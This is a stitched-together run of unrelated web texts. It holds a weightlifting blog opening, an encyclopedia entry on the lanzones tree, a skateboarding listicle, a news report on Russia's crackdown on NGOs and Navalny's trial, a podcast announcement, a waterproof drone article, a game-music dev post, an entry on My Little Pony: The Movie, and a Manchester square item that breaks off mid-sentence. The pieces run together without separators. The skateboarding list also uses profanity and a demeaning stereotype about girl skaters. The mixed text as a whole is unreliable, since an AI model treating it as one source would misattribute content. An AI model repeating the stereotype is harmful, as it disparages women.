Greg Everett did some of this in his film American Weightlifting, and I’ve done some audio interviews that were up on my old website, but I’d like to see a more thorough effort in this area so that our history as an institution is not lost. I do very much regret that we didn’t get to listen in on the wisdom of our weightlifting forefathers before they passed away. Anyway these are the result of some mental expeditions that I took while attending this year’s AO.

"Duku" redirects here. For the malware, see Duqu Lansium parasiticum Lanzones in the Philippines Scientific classification Kingdom: Plantae Clade: Angiosperms Clade: Eudicots Clade: Rosids Order: Sapindales Family: Meliaceae Genus: Lansium Species: L. parasiticum Binomial name Lansium parasiticum Osbeck) Sahni & Bennet Synonyms[1] List Aglaia aquea (Jacq.) Kosterm. Aglaia domestica (Corrêa) Pellegr. Aglaia dookoo Griff. Aglaia intricatoreticulata Kosterm. Aglaia merrillii Elmer nom. inval. Aglaia sepalina (Kosterm.) Kosterm. Aglaia steenisii Kosterm. Amoora racemosa Ridl. Lachanodendron domesticum (Corrêa) Nees Lansium domesticum Corrêa Melia parasitica Osbeck Lansium parasiticum, also known as langsat () or lanzones, is a species of tree in the Mahogany family. The plant originates from western Peninsular Malaysia. Description [ edit ] The tree is average sized, reaching 30 metres (98 ft) in height and 75 centimetres (30 in) in diameter. Seedling trees 30 years old planted at 8 x 8 meter spacing can have a height of 10 meters and diameter of 25 cm. The trunk grows in an irregular manner, with its buttress roots showing above ground. The tree's bark is a greyish colour, with light and dark spots. Its resin is thick and milk coloured.[2] The pinnately compound leaves are odd numbered, with thin hair, and 6 to 9 buds at intervals. The buds are long and elliptical, approximately 9 to 21 centimetres (3.5 to 8.3 in) by 5 to 10 centimetres (2.0 to 3.9 in) in size. The upper edge shines, and the leaves themselves have pointed bases and tips. The stems of the buds measure 5 to 12 millimetres (0.20 to 0.47 in).[2] The flowers are located in inflorescences that grow and hang from large branches or the trunk; the bunches may number up to 5 in one place. They are often branched at their base, measure 10 to 30 centimetres (3.9 to 11.8 in) in size, and have short fur.[3] The flowers are small, with short stems, and have two genders. The sheathe is shaped like a five lobed cup and is coloured a greenish-yellow. The corona is egg-shaped and hard, measuring 2 to 3 millimetres (0.079 to 0.118 in) by 4 to 5 millimetres (0.16 to 0.20 in). There is one stamen, measuring 2 millimetres (0.079 in) in length. The top of the stamen is round. The pistil is short and thick.[2] The fruit can be elliptical, ovoid or round, measuring 2 to 7 centimetres (0.79 to 2.76 in) by 1.5 to 5 centimetres (0.59 to 1.97 in) in size. Fruits look much like small potatoes and are borne in clusters similar to grapes. The larger fruits are on the variety known as duku. It is covered by thin, yellow hair giving a slightly fuzzy aspect. The skin thickness varies with the varieties, from 2 millimetres (0.079 in) to approximately 6 millimetres (0.24 in). The fruit contains 1 to 3 seeds, flat, and bitter tasting; the seeds are covered with a thick, clear-white aril that tastes sweet and sour.[2] The taste has been likened to a combination of grape and grapefruit and is considered excellent by most. The sweet juicy flesh contains sucrose, fructose, and glucose.[4] For consumption, cultivars with small or undeveloped seeds and thick aril are preferred. Vernacular names [ edit ] The tree and its fruit are known under a variety of common names:[5][6][7] Assamese: leteku Balinese: ceruring Bengali: lotka , bhubi , Burmese: langsak , duku , Cebuano: buahan , lansones , English: langsat, lanzones Javanese: langsep , dhuku , Khmer: long kong Indonesian: duku , langsat , kokosan , , Malay: langsat , lansa , langseh , langsep , duku , dokong , , , , , Sinhalese: gadu guda Philippine Spanish: lanzón (plural: lanzones ) (plural: ) Tagalog: lansones , buwa-buwa , Thai: langsat (ลางสาด) (for the thin-skinned variety), longkong (ลองกอง) (for the thick-skinned variety) (for the thin-skinned variety), (for the thick-skinned variety) Vietnamese: dâu da đất , lòn bon , bòn bon , , Mizo language : pangkai Cultivars [ edit ] L. parasiticum sold in a bunch in a roadside stall in sold in a bunch in a roadside stall in West Kutai There are numerous cultivars of L. parasiticum. Overall, there are two main groups of cultivars, those named duku and those named langsat. There are also mixed duku-langsat varieties.[2] Those called duku generally have a large crown, thick with bright green leaves, with short bunches of few fruit. The individual fruit are large, generally round, and have somewhat thick skin that does not release sap when cooked. The seeds are small, with thick flesh, a sweet scent, and a sweet or sour taste.[2][7] Meanwhile, the variant commonly known as langsat generally has thinner trees, with a less dense crown consisting of dark green leaves and stiff branches. The bunches are longer, and each bunch holds between 15 and 25 large, egg-shaped fruit. The skin is thin and releases a white sap when cooked. The flesh is watery and tastes sweet and sour.[2][7] L. parasiticum cultivation in Mandi Angin, Rawas Ilir, cultivation in Mandi Angin, Rawas Ilir, Musi Rawas L. domesticum var. aquaeum is distinguished by its hairy leaves, as well as the tightly packed dark yellow fruit on its bunches. The fruit tends to be small, with thin skin and little sap; the skin is difficult to remove. To be eaten, the fruit is bitten and the flesh sucked through the hole created,[2] or rubbed until the skin breaks and the seeds are retrieved. In Indonesia the fruit has several names, including kokosan, pisitan, pijetan, and bijitan.[7] The seeds are relatively large, with thin, sour flesh. Reproduction [ edit ] The seeds of L. parasiticum are polyembryonic, the multiple embryos resulting from apomixis.[8] L. parasiticum is traditionally reproduced by spreading seedlings, either cultivated or collected from below the tree.[9] It has been said that new seedlings require 20 to 25 years to bear fruit, with the possibility of the quality being inferior.[9][10] However other sources quote 12 years to first production from seed and no variations. Production often varies from year to year, and depends to some extent on having a dry period to induce flowering. One example of ten trees in Costa Rica about twenty-five years old produced during five years the following weights of salable fruits: 2008: 50 kilos, 2009: 2000 kilos, 2010: 1000 kilos, 2011: 100 kilos, 2012: 1500 kilos. Experiments in the Philippines with grafting where two trees are planted close to each other and then grafted when one to two meters tall to leave twin root systems on a single main trunk have resulted in earlier and less erratic fruit production. Another common method is by air layering. Although the process requires up to several months,[10] the new rooted tree produced is itself ready to bear fruit within two years. Trees cultivated with this method have a high death rate,[2] and the growths are less resilient.[11] The third common way to reproduce L. parasiticum is with grafting. This results in the new trees having the same genetic characteristics as their parent, and being ready to bear fruit within 5 to 6 years. The offspring are relatively stronger than transplanted shoots.[9] Ecology [ edit ] L. parasiticum grows well in mixed agroforests. The plant, especially the duku variant, prefers damp, shaded areas. It can be grown in the same agroforest as durian, petai, and jengkol, as well as wood-producing trees.[2][11] L. parasiticum is grown from low grounds up to heights of 600 metres (2,000 ft) above sea level, in areas with an average rainfall of 1,500 to 2,500 millimetres (59 to 98 in) a year. The plant can grow and blossom in latosol, yellow podzol, and alluvium.[11] The plant prefers slightly acidic soil with good drainage and rich in mulch. The langsat variant is hardier, and can weather dry seasons with a little shade and water.[2] The plant cannot handle floods.[5] L. parasiticum generally bears fruit once a year. This period can vary between areas, but blooming is generally after the beginning of the rainy season and fruit production some four months later. Distribution [ edit ] Lansium parasiticum was originally native to Peninsular Malaysia. Can be found in Sulawesi and Sarawak, Northern Borneo, the name Duku is reserved for the larger-sized varieties of Langsat, near the size of golf balls, claimed sweeter and with less sap in the peel. A variety called Dokong exported to mainland Malaysia from Thailand (this variety is called 'Longkong' Thai: ลองกอง in Thailand) grows tighter in the clusters, giving it a faceted shape, and is preferred by many over the standard Langsat. Within mainland Asia, the tree is cultivated in Thailand (Thai: ลางสาด, langsat), Cambodia, Vietnam, India, and Malaysia. Outside the region, it has also been successfully transplanted and introduced to Hawaii and Surinam. It grows well in the wetter areas (120 inches/3 meters or more annual rainfall) of Costa Rica, where it is still very rare, having been introduced decades ago by the United Fruit Company. A major hindrance to its acceptance seems to be that it is very slow in bearing, said to take 12 years or more from seed. However, air layering from mature trees, as well as grafting, are said to work well and produce much faster.[5] Uses [ edit ] L. parasiticum, showing the clear-white aril around the seed. Peeled, showing the clear-white aril around the seed. L. parasiticum is cultivated mainly for its fruit, which can be eaten raw. The fruit can also be bottled in syrup.[2] The wood is hard, thick, heavy, and resilient, allowing it to be used in the construction of rural houses.[7] Some parts of the plant are used in making traditional medicine. The bitter seeds can be pounded and mixed with water to make a deworming and ulcer medication. The bark is used to treat dysentery and malaria; the powdered bark can also be used to treat scorpion stings. The fruit's skin is used to treat diarrhea, and in the Philippines the dried skin is burned as a mosquito repellent.[2][7] The skin, especially of the langsat variety, can be dried and burned as incense.[7] The greatest producers of Lansium parasiticum are Malaysia, Thailand, the Philippines and Indonesia. The production is mostly for internal consumption, although some is exported to Singapore, Hong Kong and Kuwait. See also [ edit ]

1. The Jockboarder: Somewhere along the line, when skateboarding reached the X-Games and longboarding rose to popularity, jocks realized they wanted a piece of the action. They wanted to look edgy and cool but they were gonna do it their way. Their way, meaning sandals, boardshorts, a college sweatshirt and the biggest most horrendous longboard they could possibly buy at Zumiez. 2. The I Used To Skate Bro: These guys come in all shapes and sizes, but their primary goal is always the same: To tell you how much they totally used to skate. It’s always this long lost hazy memory like, “damn dude, yeah when I skated, I was so hyped on Chad Maska or whatever his name was, you know the white dude with the noseslides?!” Just in case that wasn’t annoying enough, don’t be surprised when they follow up with the inevitable, “yo lemmie try your board real quick,” to see if they “still got it.” 3. The Stoner: These guys usually ride a cruiser, longboard, or some old raggity water logged piece of shit because they were too busy spending their parent’s money on more weed. The smarter ones try to avoid any confrontation with actual skaters, or are too busy riding around campus to the next “chill sesh” blasting Phish or whatever jam bands these fuckers listen to now a days. 4. The One Girl Skater: There’s always one of them: The girl that looks like she’s about to eat shit anytime she takes her foot off of the board and tries to push. To a horny young man this might seem like a dream come true, but most of these girls are either trying too hard or lesbians. 5. The Longboarder Who Thinks He’s A Skateboarder: This is the dude who thinks he can totally “get down” on your sesh. He starts by rolling up, powersliding and doing some wacky shit on all 4’s. Then he has to show you some scar from going 50 miles down the freeway without a helmet, proving how fucking gnar it was. Too bad you can’t do that on your “shortboard” bro.

Mr Putin , who was re-elected as president almost a year ago, stands accused of bringing in new laws to stifle criticism of his regime and adapting existing laws to silence dissent. "The Russian government has unleashed a crackdown on civil society unprecedented in the country's post-Soviet history," the HRW report states. "The authorities have introduced a series of restrictive laws, harassed, intimidated and in several case imprisoned political activists, interfered in the work of NGOs and sought to cast government critics as clandestine enemies." In a move that Amnesty described as "deliberately reminiscent of the Cold War," Mr Putin has brought in a new law which requires any organisation that receives funding from abroad to describe themselves as "foreign agents" if they are considered to be involved in undefined "political activities". Since the start of the year, the Russian authorities have carried out more than 200 inspections of organisations campaigning to protect human rights. Amnesty's Moscow office was "inspected" by prosecutors and tax inspectors on 25 March. The first organisation to face legal proceedings is a group named Golos – or "voice" in Russian – which played a prominent role in organising election monitoring and reporting fraud in the vote which saw Mr Putin re-elected. In several cases the inspectors demanded to go through computers or emails. In one case, officials demanded that an organisation prove that its staff had been vaccinated for smallpox, and in another the officials asked for chest X-rays of staff to ensure they did not have tuberculosis. "The government claims the inspections are routine, but they clearly are not," said Hugh Williamson, Europe and Central Asia director at HRW. "The campaign is unprecedented in its scope and scale, and seems clearly aimed at intimidating and marginalising civil society groups. This inspection campaign can potentially be used to force some groups to end advocacy work, or to close them down." Another law, adopted in December, essentially banned funding emanating from the United States for "political" activity by non-governmental organisations, and bans groups whose work is "directed against Russia's interests." A third law, the treason law, expands the legal definition of treason in ways that could criminalise involvement in raising awareness of human rights. The publication of the reports comes at a time of mounting pressure for Mr Putin. On Wednesday – the same day the report was launched in Moscow – a high-profile critic of the president went on trial for what he said were trumped-up charges. Alexei Navalny, 36, told a court in the city of Kirov that they should throw out the charges of stealing from a timber firm. Mr Navalny has suggested that Mr Putin ordered the trial to stop his criticism of "swindlers and thieves" in government and sideline him as a potential presidential rival. "The case absolutely cannot be tried in court in its current form," the anti-corruption campaigner said, after Judge Sergei Blinov ordered a recess to consider his plea to send the case back to state prosecutors. Mr Navalny, who organised the biggest protests since Mr Putin rose to power 13 years ago, is accused of stealing 16 million roubles (£335,000) from a timber firm in Kirov that he was advising in 2009. "It's raw, it's tendentious, there are different numbers cited everywhere, different amounts of timber are mentioned, and so on." He also insisted his innocence would be apparent even if he was convicted. "At the end of the trial, we will certainly win. I'm sure that a lack of guilt will be established. "Even if it is not formally acknowledged by the court, it will be clear for everyone who attends the trial."

The boys are back in town. We're on the eve of The Verge's two-year birthday, we're celebrating 100 episodes of The Vergecast, and right now we're haphazardly watching people go to work in costumes — so it must be Halloween, as well! Join us today at 1PM PT / 4PM ET / 8PM GMT (all time zones). Josh, Nilay, and Paul (yes, Paul). News, hijinks, a look back, a look forward, and even a look sideways — just like our elevators. Tell us your favorite memories, your clips, show us your costumes (bonus points if it's of The Verge crew), and we might include them in the show. Keep it locked! Update: Special fourth guest — the Nexus 5! Update: we're going live between 4:05PM and 4:10PM ET. Stay tuned! Video:

Your browser does not support HTML5 video tag.Click here to view original GIF Drones and water don't get along. This tends to be a problem when you're trying to film aerial footage of, say, some rad surfers or when your battery dies above a pond. But the Splash Drone is designed specifically to solve your waterlogged quadcopter woes. The main selling point of this semi-DIY drone isn't just the fact that it won't short out if you crash into water. The Splash Drone is fully waterproof. It even floats! It can take off from the water and land on the water. You can also plop it down in the ocean mid-flight, and thanks to a waterproof gimbal and GoPro Dive Case, you'll be able to film the little fishes under the water. That's kind of awesome. In addition to being waterproof, the Splash Drone also has such useful features as the capability to return to base with the flip of a switch and the option to keep the camera tuned on a specific point of interest (a.k.a. Follow Me). There's also a payload release feature that would let you, for instance, deliver a beer to a friend on a boat. Sounds like pretty much the best thing ever. Advertisement Your browser does not support HTML5 video tag.Click here to view original GIF You can control the Splash Drone with a smartphone or an RC controller, and it supports a live video feed. The Splash Drone can even be rigged with an emergency flare system which, well, okay sure why not. Your browser does not support HTML5 video tag.Click here to view original GIF Advertisement The Splash Drone is currently a funded Kickstarter project, which might normally make you a little wary, but in this case the technology already exists. The hardware itself has been on sale in China for a while, and some of the components come from 3D Robotics' Open Hardware Program. You can nab a super-basic DIY kit for a handy $390—if you think you can build it—and a "ready to fly bird" for $800 that comes with all the trimmings. Click over to Kickstarter for more details. The campaign ends April 8. [Kickstarter] Contact the author at adam@gizmodo.com. Public PGP key PGP fingerprint: 91CF B387 7B38 148C DDD6 38D2 6CBC 1E46 1DBF 22

A Look At The New Music In 1.9.2 6:48 AM Will Sterling 2 Comments New Island Music With Salt, we've always wanted to keep the music unobtrusive and so we originally opted to only have music play occasionally at sea. We believe that too much music can be overstimulating and actually take away from the immersion of a game. Walking around on an island listening to the birds, wind, and waves hitting the shore can really immerse you in the game, and we didn't want music to take away from that. That being said, we do think that some island music could be beneficial in the right setting and with the right restrictions. We've decided to introduce new music for large natural islands. These islands are usually quite big and do not contain enemies. This means a good bit of time spent on these islands is pure exploration and walking across the land. We figured these islands would be a good place to introduce some light and occasional music. I've composed specific songs for day and night time that will be able to play while you are exploring large natural islands. Here are some of the songs you can expect to hear soon. Day Island Examples Night Island Examples Soundtrack Update We'd also like to note that we've updated the soundtrack to include the boss music in the game as well. You can stream the soundtrack in its entirety for free here . We will eventually be releasing a downloadable copy of it when the game releases. Thanks for reading as always we'd love to hear your feedback!

My Little Pony: The Movie is a 2017 animated musical fantasy film based on the television series My Little Pony: Friendship Is Magic, which was developed as part of the 2010 re-launch of the My Little Pony franchise by Hasbro. The film was directed by Jayson Thiessen and based on a story and screenplay co-written by Meghan McCarthy, both Friendship Is Magic veterans. The plot follows the alicorn Twilight Sparkle, her five pony friends – collectively known as the "Mane 6" – and her dragon assistant Spike embarking on a quest to save their home of Equestria from an evil conqueror, gaining new friends in the process. In addition to the show's regular voice cast reprising their roles, the film features the voices of Emily Blunt, Kristin Chenoweth, Liev Schreiber, Michael Peña, Sia, Taye Diggs, Uzo Aduba, and Zoe Saldana as new characters. The film was produced by Allspark Pictures and DHX Media,[4][5] using traditional animation created with Toon Boom Harmony.[6] It premiered in New York City on September 24, 2017,[7] and was released on October 6, 2017 in North America through Lionsgate[8] and Canada through Entertainment One Films. The film received mixed reviews from critics and grossed over $60 million worldwide on a $6.5 million budget. Plot [ edit ] The ponies of Equestria prepare for their first Friendship Festival, overseen by Princess Twilight Sparkle in Canterlot. The festivities are interrupted by an invasion of monsters commanded by the broken-horned unicorn Tempest Shadow, who uses magical obsidian orbs to petrify Twilight's fellow princesses; Princess Celestia gives Princess Luna incomplete instructions to seek help from "the queen of the hippo" before they are both petrified. Twilight flees the city alongside her five pony friends – Pinkie Pie, Rainbow Dash, Rarity, Applejack, and Fluttershy – and her dragon assistant, Spike. Tempest is contacted by her superior, the Storm King, who reminds her to gather all of Equestria's princesses for him to harness their magic through his mystical staff, promising to restore her horn in exchange. Twilight's group travel to the desert city of Klugetown in search of the aforementioned "hippos". A feline con artist named Capper offers to escort the group, secretly intending to sell them to settle a debt; however, he develops a genuine friendship with them. Twilight discovers an atlas that reveals the "hippos" to be hippogriffs, exposing Capper's treachery. After the group evade a pursuing Tempest aboard a delivery airship, Tempest brings Capper to guide her to them, but he deliberately misdirects her to atone for deceiving the group. During a lunch break, the airship's birdlike Captain Celaeno and her crew reluctantly allow the group passage, revealing themselves to be former pirates that have been forced into the Storm King's service. Rainbow Dash persuades the pirates to defy orders and take the group to the hippogriffs' kingdom on Mount Aris. In celebration, she performs a Sonic Rainboom that inadvertently gives their location away to Tempest, forcing the group to escape in a makeshift hot air balloon before Tempest destroys the ship with the pirates and Capper on board. The group reach Mount Aris to find it deserted; while exploring the ruins, they become trapped in an underwater cavern, where they are saved from drowning by the seapony Princess Skystar and led to her undersea home of Seaquestria. Skystar identifies her kind as the hippogriffs, transformed by a magic pearl used by her mother, Queen Novo, to hide from the Storm King; Novo demonstrates by turning the ponies into seaponies and Spike into a pufferfish. When Novo denies them the pearl to use against the Storm King, Twilight desperately attempts to steal it while letting her friends unknowingly distract the seaponies. Her plan backfires when she unwittingly triggers an alarm, prompting the outraged queen to banish the entire group to the surface. Abandoned by her friends over her actions, Twilight is kidnapped by Tempest and brought to the Storm King in Canterlot to have her magic absorbed; en route, Tempest gains Twilight's sympathy when she divulges how she lost her horn in a monster attack as a filly, which caused her own friends to shun her for her dangerously unstable magic. Meanwhile, after Spike alerts Twilight's friends to her capture, Capper, the pirates, and the hippogriff Skystar return to help them infiltrate Canterlot and mount a rescue. The Storm King retaliates by conjuring a tornado in the city with his newly empowered staff, betraying Tempest as well. Twilight saves Tempest from the tornado and reunites with her friends, who work together with her to take the staff. The Storm King hurls an obsidian orb at the group to reclaim the staff, but Tempest jumps in his way, petrifying them both. The Storm King's body falls and shatters, while the group use the staff's magic to revive Tempest, who returns the stolen magic to restore the princesses and the damaged city. The Friendship Festival resumes, and the ponies celebrate with all of the allies Twilight's group have made on their adventure. Tempest is disheartened by her still broken horn until she is convinced by Twilight to join the party by producing a fireworks display with her magic, happily accepting the group's friendship. Cast [ edit ] Nicole Oliver, St. Germain, and Britt McKillip reprise their respective roles from Friendship Is Magic as alicorns Princess Celestia, Princess Luna, and Princess Cadance. St. Germain also voices Granny Smith, Applejack's grandmother, and Muffins, a cross-eyed gray pegasus. Michelle Creber and Peter New voice Apple Bloom and Big McIntosh, Applejack's younger sister and older brother, respectively. Michael Dobson voices Bulk Biceps, a muscular pegasus. Samuel Vincent voices Party Favor, a balloonist unicorn. Adam Bengis voices Code Red, one of the Canterlot ponies. Brian Dobson voices Verko, a mole-rat crime boss in Klugetown. Max Martini, Mark Oliver, and Nicole Oliver respectively perform as three of Captain Celaeno's parrot-like crew: Boyle, first mate Mullet, and Lix Spittle. Michael Dobson, Andrew McNee, Tegan Moss, Sabrina Pitre, Rhona Rees, and Vincent all feature as assorted citizens of Canterlot. Richard Ian Cox, Michael Dobson, McNee, New, and Nicole Oliver also perform as denizens of Klugetown. Additional voices are provided by Alistair Abell, Caitlyn Bairstow, Julia Benson, Christine Chatelain, Brian Dobson, Paul Dobson, Rondel Reynoldson, Jason Simpson, Sarah Troyer, and Siobhan Williams. Production [ edit ] Development [ edit ] At San Diego Comic-Con International in 2012, Friendship Is Magic head writer Meghan McCarthy commented on the possibility of a feature film based on the series, saying that it was not in her control whether or not the film would be made.[24] The film was announced on October 20, 2014, with Joe Ballarini attached as screenwriter and McCarthy as co-executive producer.[4] Hasbro Studios president Stephan Davis said of the film that "I think it gives us an opportunity to tell a bigger story, that maybe we [can't] tell on television" and that "[it's] also an opportunity to broaden the franchise".[25] The film is one of the first being produced through Hasbro Studios' self-financing film label Allspark Pictures, which also produced the live-action adaptation of Jem and the Holograms.[4] During PonyCon AU on February 22, 2015, McCarthy said that the movie would be unrelated to the Equestria Girls spin-off franchise, and that the crew was "going all out on it, to make sure it doesn't just feel like an extended episode".[26] Series director Jayson Thiessen and McCarthy were both confirmed as the film's director and screenwriter, respectively;[27] Michael Vogel was also signed on as co-executive producer alongside McCarthy, with Hasbro executives Brian Goldner and Stephen Davis as producers.[27] Rita Hsiao and Vogel were later announced as co-writers alongside McCarthy.[28][29] On April 30, 2016, concept artwork and other information was officially revealed at PonyRadioCon in Moscow; the panel included additional plot details such as the main characters' transformation into "sea ponies" for a portion of the film.[30] Casting [ edit ] The initial Lionsgate announcement listed the principal voice cast of Friendship Is Magic – Tara Strong, Ashleigh Ball, Andrea Libman, Tabitha St. Germain, and Cathy Weseluck – reprising their roles alongside actress Kristin Chenoweth as a new character.[31] On February 12, 2016, it was announced that Emily Blunt joined the voice cast.[32] By April 27, 2016, actors Michael Peña and Uzo Aduba were in negotiations to join the cast.[33] On May 16, Liev Schreiber and Taye Diggs were confirmed additions to the cast.[28] On June 20, Ashleigh Ball stated through Twitter that she had begun recording for the film's songs.[34] At San Diego Comic-Con in July 2016, singer Sia was announced to be portraying a new "pop star pony" character called Songbird Serenade.[22] On January 11, 2017, it was reported by Variety that Zoe Saldana had joined the cast.[35] Friendship Is Magic voice actress Nicole Oliver confirmed via Twitter on January 23 that she would also be a part of the film's cast,[36] reprising her role as Princess Celestia.[37] Animation [ edit ] On April 2, 2016, Michel Gagné joined the film as an effects animator, taking an eight-month hiatus from Spider-Man: Into the Spider-Verse made by Sony Pictures Animation.[38][39][40][41][specify] In early October 2016, Gagné reported that Nik Gipe was hired onto the film's staff as his assistant. He also mentioned that the film was being animated using Toon Boom Harmony instead of the usual animation software Adobe Flash that is used in the television series.[6] According to art director Rebecca Dart, they wanted to keep to the look and feel of the television show, and the use of Toon Boom Harmony enabled them to add "simple yet impactful changes" to the designs for the big screen, such as depth and shadows for their eyes and ears, and the impression of heart-shaped indentations on the bottom of their hooves.[42] The production of the film ended by July 29, 2017.[43] The production crew used simple 3D modeling in Autodesk Maya as to determine camera locations, lens, and angles, rough lighting, character and prop placement, and which way the characters would be looking and expressing. The pre-visualization crew were able to use the 3D backdrops that became more detailed throughout the film's development to integrate the simple 3D character models, and then were able to test the Toon Boom animations on top of these scenes using the placement established by Maya, helping to speed up the production.[44] Music [ edit ] The film's official soundtrack was released on September 22, 2017 by RCA Records.[45] The film's songs and score were composed by Friendship Is Magic songwriter Daniel Ingram, who first announced at GalaCon 2015 that he would be collaborating with a live studio orchestra for the film.[46] On his songwriting for the film, Ingram said, "I had to challenge myself to push beyond what had been done in the TV show; to write bigger, more epic."[47] It was stated through the PonyRadioCon panel that the film would have a total of eight original songs.[30] At Hasbro's Toy Fair investor presentation on February 17, 2017, it was announced that there would be seven songs.[48] Around 5,800 pages of sheet music were created for all orchestral parts of the score.[49] Recording for the score began on June 5, 2017, and finished on June 11.[50][51] An album containing the background music scores from the film is scheduled for a November 16, 2018 release. Sia contributed an original song to the film,[52] "Rainbow", which was released as a single on September 15, 2017.[53] A music video for the song later released by Entertainment Weekly on September 19. The video was directed by Daniel Askill and features a dance performance by Maddie Ziegler, a previous collaborator with Sia, intercut to scenes from the film.[54] Danish band Lukas Graham also contributed an original song for the film titled "Off to See the World",[55] which was used in the film's first trailer and played over the closing credits. Other artists included in the album are DNCE and CL.[56][57] The score for the film was released on Spotify on October 7, 2017.[58] Release [ edit ] On August 7, 2015, Lionsgate announced that they would distribute and market the film worldwide except in China.[31][27] The film was showcased at the 2016 Cannes Film Festival on May 10 along with eight other Lionsgate features to help sell the film to international distributors.[59] My Little Pony: The Movie was originally scheduled for release in the United States on November 3, 2017,[60] but it was subsequently moved up to October 6, 2017.[8] Theatrically, the film was accompanied by a 5-minute animated short from Hasbro Studios' web series Hanazuki: Full of Treasures.[61] A private premiere screening was held in New York City on September 24, 2017, twelve days prior to the nationwide release date.[7] Marketing [ edit ] Numerous toys based on characters, sets, and props from the film were made by Hasbro, and a vast majority of the products was released on August 1, 2017.[62] The 2016 PonyRadioCon panel included a brief preview for some of the planned merchandise being developed for the film, including T-shirts and graphics.[30] On July 27, 2016, the My Little Pony Collectible Card Game hinted on Twitter about a new set of cards based on the film.[63] Hasbro's toyline for the film was shown and promoted at Toy Fair 2017 and various other toy conventions.[64][65][66] Several books and comics related to the film have been announced: My Little Pony: Annual 2018, which contains "exclusive content from the My Little Pony movie" was released on August 10, 2017;[67] and a "prequel" story released on August 1.[68] On January 23, 2017, Hachette Book Group listed five different books for the film, all released on August 29, 2017.[69][70][71][72][73] Books based on the film have been showcased at BookCon 2017 on June 4, with guest appearances by Andrea Libman and Ashleigh Ball.[74] IDW Publishing released a four-issue comic book miniseries titled My Little Pony: The Movie Prequel, with the first issue released on June 28, 2017.[75] Viz Media released an art book for the film on August 29, 2017.[76] A comic adaptation based on the film by IDW was released on September 27, 2017.[77] A teaser trailer for the film was released online on April 6, 2017,[78] and in theaters alongside Smurfs: The Lost Village the following day. The first full trailer debuted online on June 28, 2017,[79] and was released with Despicable Me 3 two days later.[80] Another trailer was released by USA Today online on September 12, 2017.[81] The same day, the official My Little Pony Facebook page hosted a live Q&A stream with two of the movie's characters, Pinkie Pie (voiced by Andrea Libman) and Twilight Sparkle (voiced by Tara Strong).[82] Another trailer was played during the season 12 finale of America's Got Talent on September 20, 2017.[83] On September 27, 2017, the official My Little Pony Facebook page hosted a live Q&A stream with art director Rebecca Dart, who drew a custom artwork of Rainbow Dash (voiced by Ashleigh Ball).[84] On September 30, 2017, a special titled The Making of My Little Pony: The Movie aired on Discovery Family, a joint venture between Discovery Communications (now Discovery, Inc.) and Hasbro;[85] it was watched by 18,000 viewers.[86] Home media [ edit ] My Little Pony: The Movie was released on December 19, 2017 for digital downloads, and was later released on January 9, 2018 for DVD, Blu-ray, and On Demand.[87][88] Its special features includes a deleted scene, a music video for the song "I'm the Friend You Need", three featurettes starring the Mane Six, an exclusive Equestria Girls animated short, and the Hanazuki: Full of Treasures short bundled with the film's theatrical release.[89] However, the home media release lacks a Dolby Atmos soundtrack, and instead has a standard DTS-HD Master Audio 5.1 mix. A home media bundling both this film and the namesake 1986 film was released on October 16, 2018, commemorating the 35th anniversary of the My Little Pony toy line. The releases contain the same bonus features as its DVD/Blu-ray counterparts.[90] As of April 2018, My Little Pony: The Movie had sold over 200,000 DVD copies and 160,000 Blu-Ray copies.[3] Reception [ edit ] Box office [ edit ] My Little Pony: The Movie has grossed $21.9 million in the United States and Canada, and $39.4 million in other territories, for a worldwide total of $61.3 million[3] on a production budget of $6.5 million.[91] In the United States and Canada, the film was expected to gross between $10 million and $17 million from 2,528 theaters in its opening weekend.[92][93] It made $3 million on its first day, including $290,000 from Thursday night previews.[94] It ended up opening to $8.9 million finishing 4th at the box office behind Blade Runner 2049, The Mountain Between Us, and It.[95] Amid Amidi of Cartoon Brew stated that – despite the opening being considered a disappointment – any reasonable return from the film would be seen as positive by Hasbro because it is tied to the toy line.[96] The film dropped 54% in its second weekend, making $4.1 million and falling to 9th.[97] Its biggest markets outside North America are China with $7.4 million, the UK with $5 million, Russia with $2.3 million, and Germany with $2.4 million.[3] Critical response [ edit ] On review aggregator Rotten Tomatoes, the film has an approval rating of 48% based on 62 reviews, with an average rating of 5.2/10. The site's critical consensus reads, "Charming and sweet, My Little Pony: The Movie will please its dedicated fanbase, even if it's unlikely to encourage non-devotees to gallop along for the ride."[98] On Metacritic, the film has a weighted average score of 39 out of 100, based on 13 critics, indicating "generally unfavorable reviews".[99] Audiences polled by CinemaScore gave the film an average grade of "A−" on an A+ to F scale.[94] Katie Walsh of the Los Angeles Times wrote, "Truthfully, this film feels like four episodes of a cartoon strung together, and there are times, especially during some of the latter musical numbers, where it truly drags." She also remarked on the film's animation, saying that it "embraces the flat, colorful, Saturday-morning cartoon look and feel".[100] Christy Lenore of RogerEbert.com gave the film 1.5 stars out of 4, criticizing the narrative as being "all over the place" and having "a multitude of underdeveloped, crammed-in characters", while commending the film for retaining the Friendship Is Magic television series cast and staff.[101] Josh Terry of Deseret News criticized the film, saying parents should "put their money into some new My Little Pony toys" rather than go see the movie.[102] Gwen Ihnat of The A.V. Club gave the film a "C" grade, favoring the improved animation over the television series, but adding "you have to wonder to what use it's being put".[103] Elizabeth Weitzman of TheWrap wrote positively of the film, saying, "Like its television predecessor, is all dressed up in bubbles and cupcakes and rainbows. But it's so jam-packed with rousing girl power, it passes the Bechdel Test with (literally) flying colors."[104] Amy Nicholson of Variety called the film "at once clichéd and exceptional", praising its female characters and calling the story "emotionally wise".[105] Accolades [ edit ]

The years of St Peter’s Square looking like a building site are over. A new water feature has been unveiled in the square to mark it being fully open to the public following three years of re-development. The square has a distinctly continental feel with a panorama of architecture you can look out on to from the Grade II listed classically-styled Central Library to the towering neo-gothic Town Hall, The Midland Hotel which was described as a “Twentieth Century Palace” when it opened in 1903, as well as the modern developments of No1 and No2 St Peters Square. Work has included Metrolink expansion as part of the Second City Crossing, a new tram stop, the relocation of the cenotaph, development of the surrounding property, and planting of over 50 mature trees, including the first trees on a tram platform in the whole of Manchester. The water feature was turned on close to the new Metrolink stop for the first time to mark the completion of the major transformation of the area. Leader of Manchester City Council Sir Richard Leese said: “This water feature is the closing chapter to what has been a remarkable transformation of St Peter’s Square, from a muddle and claustrophobic transport interchange into an enviable public space that can sit proudly amongst the renowned squares across the world. “In St Peter’s we have somewhere in our city centre that the public can truly be proud of and a space that complements the architecture – both new and old – in the civic heart of Manchester.” The square is named after St Peter’s Church built around 1788 and demolished in 1907. A stone cross was built to commemorate it, with the cenotaph added alongside it in 1924. During the redevelopment, these have been moved to the Cooper Street side of The Town Hall to create a separate area for quiet reflection away from the traffic. The area around the square is the site of the 